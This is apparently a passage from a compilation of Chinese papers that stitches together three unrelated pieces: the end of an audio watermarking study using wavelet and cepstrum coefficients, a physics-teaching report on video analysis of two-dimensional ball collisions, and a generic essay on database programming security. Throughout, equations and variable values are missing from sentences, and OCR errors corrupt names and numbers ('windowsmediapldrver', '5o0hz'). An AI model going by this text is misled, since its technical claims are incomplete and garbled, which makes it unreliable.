倒譜變換在音頻水印中已經(jīng)具有了較強(qiáng)的健壯性，能夠抵抗噪聲、重采樣、低通濾波、重量化和音頻格式轉(zhuǎn)換等常見(jiàn)攻擊。倒譜變換后的數(shù)據(jù)特征表現(xiàn)為：倒譜系數(shù)在中間部分的差異很小，而在兩端的變化很大。

圖1是對(duì)音頻進(jìn)行7級(jí)小波分解后，選取5～7級(jí)高頻數(shù)據(jù)部分進(jìn)行倒譜變換情形。在進(jìn)行統(tǒng)計(jì)處理時(shí)，如果讓全部數(shù)據(jù)參與，則計(jì)算結(jié)果在隱藏前后有明顯變化；如果不考慮兩側(cè)若干個(gè)大數(shù)據(jù)，僅以中間大部分?jǐn)?shù)據(jù)參與運(yùn)算，則計(jì)算結(jié)果容易保持在一個(gè)穩(wěn)定范圍內(nèi)。

進(jìn)一步，如果將計(jì)算的均值移除，即相當(dāng)于此時(shí)的均值為0。然后，在0的上下兩邊產(chǎn)生一個(gè)偏差，如2，以分別隱藏比特信息“1”和“0”。則在提取時(shí)，只需要判斷所求均值是否大于0，就可以求得水印比特。這種方法，稱之為“數(shù)據(jù)分離調(diào)整”技術(shù)。

2算法分析與設(shè)計(jì) 

2．1隱藏算法流程設(shè)計(jì)

將原始音頻分段時(shí)，段數(shù)至少是水印比特?cái)?shù)。然后，對(duì)每段數(shù)據(jù)進(jìn)行小波分解，取其低頻系數(shù)進(jìn)行倒譜變換，采用前述的數(shù)據(jù)分離調(diào)整技術(shù)，以實(shí)現(xiàn)水印比特嵌入。之后，先后重組倒譜系數(shù)和小波系數(shù)，獲得含有水印信息的音頻段，從而構(gòu)造為新的音頻。該算法流程如圖2所示。

為了增強(qiáng)可靠性，對(duì)水印信息先做糾錯(cuò)處理，采用bch編碼方法。算法的主要工作是尋找合理的參數(shù)優(yōu)化配置，使隱藏效果達(dá)到最優(yōu)。參數(shù)主要有：小波分解級(jí)數(shù)、分段的數(shù)據(jù)幀長(zhǎng)度、數(shù)據(jù)幀的間距、上下分離的閾值將數(shù)據(jù)幀的間距設(shè)置為數(shù)據(jù)幀長(zhǎng)度的倍數(shù)，最大為1，最小為0。期間選擇多個(gè)系數(shù)，結(jié)果發(fā)現(xiàn)都可以成功實(shí)現(xiàn)隱藏。

2．2水印嵌入算法設(shè)計(jì)

1)水印信息處理。

音頻載體分段數(shù)至少應(yīng)該大于，才能滿足隱藏要求。

假設(shè)每段長(zhǎng)為，該段經(jīng)過(guò)小波變換的級(jí)分解后，各級(jí)小波系數(shù)長(zhǎng)度分別為：

取低頻系數(shù)部分，使之頻率范圍位于(50，l000)內(nèi)，則需要構(gòu)造一個(gè)組合的低頻小波系數(shù)集合。以8khz音頻為例，實(shí)施7級(jí)小波分解后，所選擇的低頻系數(shù)部分為：

p的長(zhǎng)度非常重要。如果太小了，對(duì)隱藏不利；反之，就需要更長(zhǎng)的音頻載體。所以，音頻分段與小波分解具有密切的關(guān)系。

3)倒譜變換。

復(fù)倒譜變換對(duì)于信號(hào)序列的均值大于或等于0時(shí)，其逆變換可逆；否則不可逆。為此，需要計(jì)算指定段信號(hào)的均值，若均值小于0則取反。然后對(duì)所有指定段進(jìn)行復(fù)倒譜變換。

4)倒譜系數(shù)的選取。

去掉首尾波動(dòng)很大的部分，而選擇中間平穩(wěn)的部分嵌入水印。假設(shè)兩端各去掉l0個(gè)數(shù)據(jù)，則實(shí)際用于隱藏水印的倒譜系數(shù)長(zhǎng)度為：

5)去均值化處理。

計(jì)算剩余部分的均值，然后用每一個(gè)倒譜系數(shù)減去該均值，得到倒譜系數(shù)的相對(duì)值。 

6)嵌入水印。

給定一個(gè)閾值t，采用整體上下拉開(kāi)的思路，對(duì)以上的相對(duì)倒譜系數(shù)進(jìn)行修改，得到最終的倒譜系數(shù)，從而實(shí)現(xiàn)水印的嵌入。

7)重構(gòu)音頻信號(hào)。

對(duì)嵌入水印的段重構(gòu)后，實(shí)施復(fù)倒譜反變換。然后進(jìn)行小波重構(gòu)，從而得到含有水印比特的音頻段。將所有這些段重構(gòu)，就獲得了含全部水印信息的音頻。

2．3水印提取

水印提取過(guò)程的前半部分與嵌入過(guò)程是一樣。在提取出比特序列后，再經(jīng)過(guò)bch解碼處理，從而得到隱藏的水印比特序列。水印提取的流程如圖3所示。

對(duì)獲得的倒譜系數(shù)去兩側(cè)數(shù)據(jù)，計(jì)算剩下的倒譜系數(shù)平均值。按照以下規(guī)則進(jìn)行隱藏信息的提取：

在信息傳播方面．針對(duì)a／d和d／a傳播采用『_直通電纜的傳輸方式，在單機(jī)上用電纜將音頻輸入輸出口相連。傳輸線為音頻線1．8m和延長(zhǎng)線1．8m，共3．6m。此外，針對(duì)手機(jī)彩鈴傳播采用了amr方式。隱藏水印設(shè)計(jì)了三種方案，如圖4所示。

小容量的便于amr處理，大容量的便于實(shí)用化。

仿真工具為matlab7．2．使用windowsmediapldrver播放器播放音頻載體，使用cooledit pro工具進(jìn)行錄音、編輯和攻擊處理。

基本參數(shù)選擇為：選用harr小波進(jìn)行7級(jí)小波分解后，按照式(4)選取低頻系數(shù)區(qū)域，所得頻段在77．5～5o0hz范圍。式(7)中的為l0，式(9)中t值的合適范圍在0．005～0．025中實(shí)驗(yàn)選取。式(3)中的取值為3200非常合適，此時(shí)，實(shí)際參與計(jì)算均值的數(shù)據(jù)為155。

3．2音頻載體的影響

音頻載體選擇了三種，如表1所示，  

其采樣頻率8khz，樣本精度為16b，單聲道，段的長(zhǎng)度為3200。音頻轉(zhuǎn)換為8khz的目的是為了今后在電話網(wǎng)上的隱蔽傳輸，并可以轉(zhuǎn)化為amr文件，傳輸?shù)绞謾C(jī)中，成為手機(jī)彩鈴的版權(quán)管理目的。

經(jīng)過(guò)a／d和d／a傳播后，4×4水印提取的誤碼情況如表1所示。可見(jiàn)，載體的選用非常重要；同時(shí)，從音頻質(zhì)量上考慮，選用較小的t值更有利于保證信噪比。所以，以下的實(shí)驗(yàn)采用的是“奧運(yùn)主題歌”。

3．3閾值參數(shù)的合理計(jì)算

選擇了水印“北”進(jìn)行比較測(cè)試，如圖5所示。結(jié)果表明，在t值為0．016時(shí)，誤碼率為0，效果最佳。為此，后續(xù)實(shí)驗(yàn)也采用該值。

3．4大容量a／d和d／a傳輸

采用圖像水印“北京”進(jìn)行大容量測(cè)試，音頻載體選用“奧運(yùn)主題歌”。圖6為經(jīng)過(guò)a／d和d／a轉(zhuǎn)換前后的數(shù)據(jù)均值計(jì)算對(duì)比情況．共有bch編碼的555個(gè)數(shù)據(jù)。按照式(10)

提取后，能夠完全正確提取，且誤碼率為0。進(jìn)一步，將本文算法的實(shí)驗(yàn)效果與已有屬于盲提取的研究結(jié)果相比較，如表2所示。

可見(jiàn)，本文算法雖然帶寬小，但水印能夠正確提取，而且嵌入容量較大。由于實(shí)驗(yàn)中使用了8khz的音頻載體，能夠廣泛應(yīng)用于語(yǔ)音傳輸和手機(jī)彩鈴等場(chǎng)合，所以在電話網(wǎng)絡(luò)廣播方面的實(shí)用性強(qiáng)。

3．5抗amr轉(zhuǎn)換

隨著手機(jī)彩鈴的普遍使用，彩鈴的安全傳播和管理將成為新的問(wèn)題。本算法在這方面也開(kāi)展了新的嘗試，將水印隱藏在彩鈴中，可以起到版權(quán)保護(hù)或秘密信息傳播的作用。

目前手機(jī)錄音放音格式多數(shù)是amr格式，要求算法能夠抵抗amr轉(zhuǎn)換攻擊。在上述的音頻載體中成功完成水印嵌入后，需要將采樣精度l6b、采樣頻率為8000的波形音頻轉(zhuǎn)換為amr格式，就可以存入手機(jī)中使用或發(fā)送給他人。提取時(shí)，先將amr文件轉(zhuǎn)換為wav格式，然后再提取水印信息。

篇（10）

關(guān)鍵詞 視頻分析法；數(shù)碼相機(jī)；二維動(dòng)量守恒；拍攝技術(shù)；誤差

【中圖分類(lèi)號(hào)】G434 【文獻(xiàn)標(biāo)識(shí)碼】B

【論文編號(hào)】1671-7384（2015）01-0073-03

在人教版高中物理選修3-5《動(dòng)量守恒定律》一章中，教師用滑塊在氣墊導(dǎo)軌上的直線運(yùn)動(dòng)演示“驗(yàn)證動(dòng)量守恒定律”的實(shí)驗(yàn)，這個(gè)實(shí)驗(yàn)研究的是一維碰撞動(dòng)量守恒，但實(shí)際生活中更多的是二維或是三維的斜碰，如臺(tái)球的碰撞、保齡球的碰撞、微觀粒子的碰撞和天體的碰撞等[1]。二維或三維運(yùn)動(dòng)是大學(xué)物理實(shí)驗(yàn)教學(xué)中的重要內(nèi)容[2]，在現(xiàn)有的普通物理實(shí)驗(yàn)教學(xué)中，一般只涉及兩小球在直線上的碰撞，二維碰撞運(yùn)動(dòng)是新內(nèi)容。

利用視頻分析法探究小球“二維碰撞動(dòng)量守恒”既有利于學(xué)生對(duì)動(dòng)量守恒物理知識(shí)的完整理解，又有利于學(xué)生掌握利用多媒體技術(shù)及基本的數(shù)字化研究方法。本論文分別利用 “連拍合成技術(shù)”“高速連拍技術(shù)”和“攝像技術(shù)”三種技術(shù)對(duì)小球二維碰撞動(dòng)量守恒進(jìn)行探究實(shí)驗(yàn)。

實(shí)驗(yàn)準(zhǔn)備

1.實(shí)驗(yàn)工具與軟件：CASIO（EX—FH100）數(shù)碼相機(jī)、計(jì)算機(jī)、三腳架、光滑的玻璃平面、水平儀、兩個(gè)顏色不同大小質(zhì)量相同的直徑為25mm的小球、Mr.captor頻閃截屏軟件、幾何畫(huà)板等。

2.實(shí)驗(yàn)環(huán)境與條件：在進(jìn)行實(shí)驗(yàn)之前要保證平面和相機(jī)水平，玻璃面盡量光滑使摩擦力減少到最小。這里我們用到水平儀分別對(duì)相機(jī)與平面進(jìn)行校準(zhǔn)，如圖1和圖2。

實(shí)驗(yàn)過(guò)程

用數(shù)碼相機(jī)的“連拍合成技術(shù)”“高速連拍技術(shù)”“攝像技術(shù)”結(jié)合頻閃截屏軟件與幾何畫(huà)板軟件，分別對(duì)兩球斜碰過(guò)程進(jìn)行圖形獲取、圖像處理、數(shù)據(jù)分析。

1．連拍合成技術(shù)

（1）圖像獲取

通過(guò)相機(jī)的BS功能鍵進(jìn)入到情景模式區(qū)，選定“連拍影像合成”，如圖3。

拍攝的時(shí)候，相機(jī)會(huì)以5張/秒的連拍速度捕捉一個(gè)連貫的動(dòng)作。兩個(gè)顏色不同、大小質(zhì)量相同的玻璃球作為研究對(duì)象，在光滑平面上，讓綠色小球碰撞藍(lán)色小球，拍攝小球的二維碰撞過(guò)程，獲得連拍合成圖像，如圖4所示。

（2）圖像處理

①將圖片粘貼到“幾何畫(huà)板”中，利用“點(diǎn)工具”將圖片中的綠色小球和藍(lán)色小球分別用綠色圓點(diǎn)和藍(lán)色圓點(diǎn)表示出來(lái)。

②點(diǎn)擊工具欄中的自定義工具項(xiàng)目，選擇圓工具中過(guò)三點(diǎn)的圓（虛線），如圖5所示。選擇圖片中圓表面的任意三點(diǎn)，軟件就能將小球圓心標(biāo)識(shí)出來(lái)。

③選擇移動(dòng)箭頭，鼠標(biāo)移動(dòng)到圓上點(diǎn)擊鼠標(biāo)右鍵，會(huì)出現(xiàn)如圖6所示的對(duì)話框，選擇隱藏圓。圓框消失后，將鼠標(biāo)移動(dòng)到圓表面的三個(gè)點(diǎn)，點(diǎn)擊右鍵，選擇隱藏點(diǎn)，依次將三點(diǎn)全部隱藏，最終圓心就能確定了。

④ 選中各點(diǎn)點(diǎn)擊“度量”菜單中的“橫坐標(biāo)”“縱坐標(biāo)”就可以顯示小球所在位置的坐標(biāo)值，再點(diǎn)擊“顯示”菜單中的“隱藏照片”。

圖像處理結(jié)果如圖7所示。

（3）數(shù)據(jù)分析

選定各點(diǎn)坐標(biāo)再點(diǎn)擊“數(shù)據(jù)”菜單中的“制表”，可以得到橫縱坐標(biāo)的表格。由于玻璃板光滑，可以認(rèn)為小球近似做勻速直線運(yùn)動(dòng)，速度可以通過(guò)得到，其中。經(jīng)過(guò)計(jì)算算得在x方向動(dòng)量誤差為9.7%，在y方向動(dòng)量誤差為4.9%，平均誤差為7.3%。在誤差允許的范圍內(nèi)，小球二維碰撞過(guò)程的動(dòng)量守恒得到驗(yàn)證。

（4）注意事項(xiàng)

此相機(jī)的連拍速度是5張/秒，如果物體運(yùn)動(dòng)速度太快，相機(jī)合成效果不明顯；物體運(yùn)動(dòng)速度太慢，畫(huà)面重疊，所以在做實(shí)驗(yàn)前要了解相機(jī)的連拍速度，以便對(duì)小球運(yùn)動(dòng)的速度合理控制。

2．高速連拍技術(shù)

按連拍（HS）按鈕，如圖8所示，將連拍速度設(shè)置為40fps，最多連拍幅數(shù)設(shè)定為30，預(yù)先記錄連拍設(shè)置為0.3s。半按快門(mén)鈕，進(jìn)行預(yù)先記錄拍攝，等到理想拍攝時(shí)機(jī)時(shí)，完全按下快門(mén)鈕，拍攝想要的圖片。兩個(gè)顏色不同、大小質(zhì)量相同的玻璃球作為研究對(duì)象，在光滑平面讓綠球碰撞靜止的藍(lán)球，連拍小球的二維碰撞過(guò)程，然后通過(guò)幾何畫(huà)板對(duì)圖像進(jìn)行拼接處理。

光滑平面連拍：綠球碰撞靜止的藍(lán)球，如圖9所示。

圖像處理與數(shù)據(jù)分析步驟與連拍合成技術(shù)相同，最后算得誤差平均值為3.5%。

3．視頻頻閃截屏技術(shù)

在拍攝方式中，將動(dòng)畫(huà)方式旋鈕轉(zhuǎn)至（HD/STD),選擇高速動(dòng)畫(huà)（HS)，按動(dòng)畫(huà)按鈕開(kāi)始拍攝，分別在光滑平面讓藍(lán)球碰撞靜止的綠球和非光滑平面讓藍(lán)球與綠球互撞，碰撞完成后，再按動(dòng)畫(huà)按鈕結(jié)束拍攝。然后用頻閃截屏軟件Mr.Captor對(duì)拍攝的視頻進(jìn)行頻閃截屏，點(diǎn)擊“選項(xiàng)”菜單中“參數(shù)”命令，將彈出參數(shù)窗體，在“定時(shí)/視頻”中設(shè)置頻閃周期為0.1秒，設(shè)定圖片保存路徑。點(diǎn)擊“ ”按鈕，在屏幕上圈定單擺振動(dòng)的截屏區(qū)域，再點(diǎn)擊鼠標(biāo)右鍵，在彈出的菜單中選取“開(kāi)始定時(shí)捕捉”命令，于是所捕捉的圖片被記錄在相應(yīng)的文件夾中并被自動(dòng)編號(hào)。最后通過(guò)幾何畫(huà)板對(duì)圖像進(jìn)行拼接處理。在進(jìn)行圖像處理時(shí)，處理好一張圖片之后，隱藏圖片，拖進(jìn)下一個(gè)圖片，逐個(gè)處理，這樣每個(gè)小球運(yùn)動(dòng)的軌跡就能記錄在幾何畫(huà)板之中了。經(jīng)過(guò)計(jì)算算得平均誤差為26.75%。

三種技術(shù)總結(jié)與對(duì)比

通過(guò)對(duì)這三種技術(shù)進(jìn)行實(shí)驗(yàn)，總結(jié)出每種技術(shù)的特點(diǎn)與差異，總結(jié)如表1。

根據(jù)以上分析，得出此實(shí)驗(yàn)誤差與數(shù)碼相機(jī)的配置有極大的關(guān)系。教師可以根據(jù)教學(xué)條件以及課程的需要選擇以上方法探究二維碰撞動(dòng)量守恒問(wèn)題。

篇（11）

(一)鑒別身份

在應(yīng)用數(shù)據(jù)庫(kù)時(shí)，有一個(gè)驗(yàn)證程序，針對(duì)全部用戶，即鑒別使用用戶的身份。在端口計(jì)算機(jī)和訪問(wèn)計(jì)算機(jī)的身份鑒別中要使用身份鑒別。當(dāng)我們想要使用計(jì)算機(jī)時(shí)，用戶需要連接相應(yīng)的HTTP和SSH,輸入用戶名和密碼，來(lái)鑒別用戶的身份。使用的人需要嚴(yán)格保守密碼，同時(shí)存留在對(duì)應(yīng)的服務(wù)器上。將編程技術(shù)運(yùn)用到計(jì)算機(jī)數(shù)據(jù)的使用和建立中，能夠?qū)崿F(xiàn)企業(yè)關(guān)聯(lián)數(shù)據(jù)和內(nèi)部文件的安全管理，以免由于企業(yè)信息泄露，給企業(yè)造成經(jīng)濟(jì)損失。

(二)可用性

將編程技術(shù)運(yùn)用到數(shù)據(jù)庫(kù)系統(tǒng)中，其可用性十分強(qiáng)。成功解決不均衡的負(fù)載和一些數(shù)據(jù)庫(kù)中的故障等問(wèn)題是對(duì)可用性的要求。當(dāng)計(jì)算機(jī)的主接口出現(xiàn)了問(wèn)題，留作備用的接口將會(huì)自動(dòng)替代問(wèn)題接口進(jìn)行工作，這樣可以使其他故障不對(duì)其產(chǎn)生作用，保證網(wǎng)絡(luò)在工作過(guò)程中的持續(xù)穩(wěn)定性。另外，接收大量的網(wǎng)絡(luò)數(shù)據(jù)時(shí)，主接口就可以在備用接口的幫助下，完成數(shù)據(jù)的接收和傳輸工作，確保計(jì)算機(jī)能夠正常運(yùn)作。

(三)隱藏信息的特性

在進(jìn)行通訊連接時(shí)，由于計(jì)算機(jī)中NAT技術(shù)的作用，內(nèi)部網(wǎng)絡(luò)中的網(wǎng)址會(huì)被隱藏，此時(shí)顯示在數(shù)據(jù)中的結(jié)果是通過(guò)公共網(wǎng)絡(luò)網(wǎng)址進(jìn)行訪問(wèn)的，這就是編程技術(shù)的隱藏性。換句話說(shuō)，企業(yè)的平常管理工作中，用戶可以使用計(jì)算機(jī)直接訪問(wèn)外部網(wǎng)絡(luò)，然而對(duì)企業(yè)內(nèi)部網(wǎng)絡(luò)的搜索和查看，這些是外部網(wǎng)絡(luò)無(wú)法實(shí)現(xiàn)的，成功實(shí)現(xiàn)了安全管理及保密企業(yè)信息。

二、計(jì)算機(jī)軟件工程的數(shù)據(jù)庫(kù)編程技術(shù)

(一)設(shè)計(jì)、開(kāi)發(fā)編程技術(shù)

數(shù)據(jù)庫(kù)正式投入使用后，需要隨時(shí)關(guān)注系統(tǒng)的運(yùn)作情況，在系統(tǒng)運(yùn)行的過(guò)程中，盡早發(fā)現(xiàn)沒(méi)有處理的問(wèn)題并進(jìn)行分析。所以，就要折返到編程階段，盡早處理在編程階段沒(méi)有處理的問(wèn)題，完善優(yōu)化數(shù)據(jù)存儲(chǔ)系統(tǒng)。與此同時(shí)，運(yùn)用不同的編程技術(shù)來(lái)應(yīng)對(duì)不同的軟件應(yīng)用，根據(jù)各種軟件應(yīng)用的不同特性，采取不一樣的編程技術(shù)，對(duì)軟件運(yùn)用中有待處理的問(wèn)題進(jìn)行分析，保證軟件可以平穩(wěn)的運(yùn)作，而且還能夠合理化的運(yùn)用系統(tǒng)資源，假若一部分?jǐn)?shù)據(jù)出現(xiàn)傳輸問(wèn)題，也能夠運(yùn)用編程技術(shù)將出現(xiàn)問(wèn)題的部分進(jìn)行調(diào)整。

(二)加密數(shù)據(jù)庫(kù)文件

當(dāng)今社會(huì)，信息化高速發(fā)展，在聊天記錄、網(wǎng)絡(luò)搜索中都存在大量的個(gè)人隱私，人們對(duì)個(gè)人隱私的重視度也逐漸提高，而計(jì)算機(jī)數(shù)據(jù)庫(kù)作為專(zhuān)門(mén)存儲(chǔ)網(wǎng)絡(luò)信息的工具，其保密性能的高低，直接關(guān)系到人們生活、工作中的信息安全問(wèn)題。一方面，要分析數(shù)據(jù)庫(kù)中存儲(chǔ)的基本信息，并加上基本的保護(hù)在其中的隱私類(lèi)消息上，一旦有信息外漏的情況產(chǎn)生，編程師就要及時(shí)通過(guò)編程的方式處理這個(gè)問(wèn)題，經(jīng)過(guò)編程，加密保護(hù)數(shù)據(jù)庫(kù)中的文件。在實(shí)行加密保護(hù)的同時(shí)，還要與計(jì)算機(jī)軟件工程的現(xiàn)實(shí)情況進(jìn)行結(jié)合，從而充分發(fā)揮加密保護(hù)的作用;另一方面，加密保護(hù)的功能還可以進(jìn)一步更深層次的設(shè)計(jì)，將加密保護(hù)分成幾個(gè)層級(jí)，以滿足不同用戶的要求，同時(shí)每個(gè)用戶都可以設(shè)置自己的專(zhuān)用登錄密碼，然后系統(tǒng)編程會(huì)確認(rèn)登錄密碼的正確與否，并根據(jù)對(duì)應(yīng)的密鑰，實(shí)現(xiàn)深層次加密信息;最后，在數(shù)據(jù)庫(kù)編程時(shí)，由于信息不同的選擇造成各系統(tǒng)間的沖突，能夠運(yùn)用系統(tǒng)間的優(yōu)化體系，優(yōu)化處理產(chǎn)生的問(wèn)題。

(三)設(shè)計(jì)存儲(chǔ)模式

如今的生活中，由于計(jì)算機(jī)的使用越來(lái)越普遍，數(shù)據(jù)庫(kù)技術(shù)就要保護(hù)更多的網(wǎng)絡(luò)信息數(shù)據(jù)。一方面，軟件系統(tǒng)的設(shè)計(jì)要以軟件功能系統(tǒng)的選取為重點(diǎn)，也可以將其他工程項(xiàng)目設(shè)計(jì)過(guò)程中的理念運(yùn)用其中，優(yōu)化設(shè)計(jì)方案，從而使設(shè)計(jì)出的數(shù)據(jù)庫(kù)能夠更加穩(wěn)定的運(yùn)行;另一方面，在數(shù)據(jù)庫(kù)進(jìn)行實(shí)際存儲(chǔ)時(shí)，可以將各類(lèi)信息進(jìn)行分類(lèi)存儲(chǔ)，方便人們二次使用數(shù)據(jù)。最后，將優(yōu)化的數(shù)據(jù)系統(tǒng)運(yùn)用到數(shù)據(jù)庫(kù)存儲(chǔ)模式中，在數(shù)據(jù)庫(kù)開(kāi)始使用后，可以將產(chǎn)生的問(wèn)題盡早優(yōu)化，同時(shí)還能夠?qū)](méi)有解決的問(wèn)題盡早發(fā)現(xiàn)，以使數(shù)據(jù)庫(kù)的存儲(chǔ)更加方便用戶使用。

三、結(jié)語(yǔ)

由此可見(jiàn)，將數(shù)據(jù)庫(kù)編程技術(shù)分析工作做好，意義十分重大。這對(duì)于計(jì)算機(jī)數(shù)據(jù)庫(kù)實(shí)際應(yīng)用的提高十分有利，可以擴(kuò)大編程技術(shù)的運(yùn)用優(yōu)勢(shì)，在國(guó)家信息化發(fā)展方面，提供更多的技術(shù)方面支持。所以，基于計(jì)算機(jī)軟件工程的數(shù)據(jù)庫(kù)編程技術(shù)在今后的計(jì)算機(jī)研究工作中應(yīng)予以更多的重視，并科學(xué)的評(píng)測(cè)此類(lèi)技術(shù)的實(shí)際運(yùn)用效果，用以增加適用范圍，使其在國(guó)家經(jīng)濟(jì)社會(huì)的發(fā)展中發(fā)揮作用。

軟件工程碩士論文參考文獻(xiàn):

［1］張學(xué)立，田林琳．基于計(jì)算機(jī)軟件工程的數(shù)據(jù)庫(kù)編程技術(shù)淺談［J］．時(shí)代農(nóng)機(jī)，2018，45(11):163．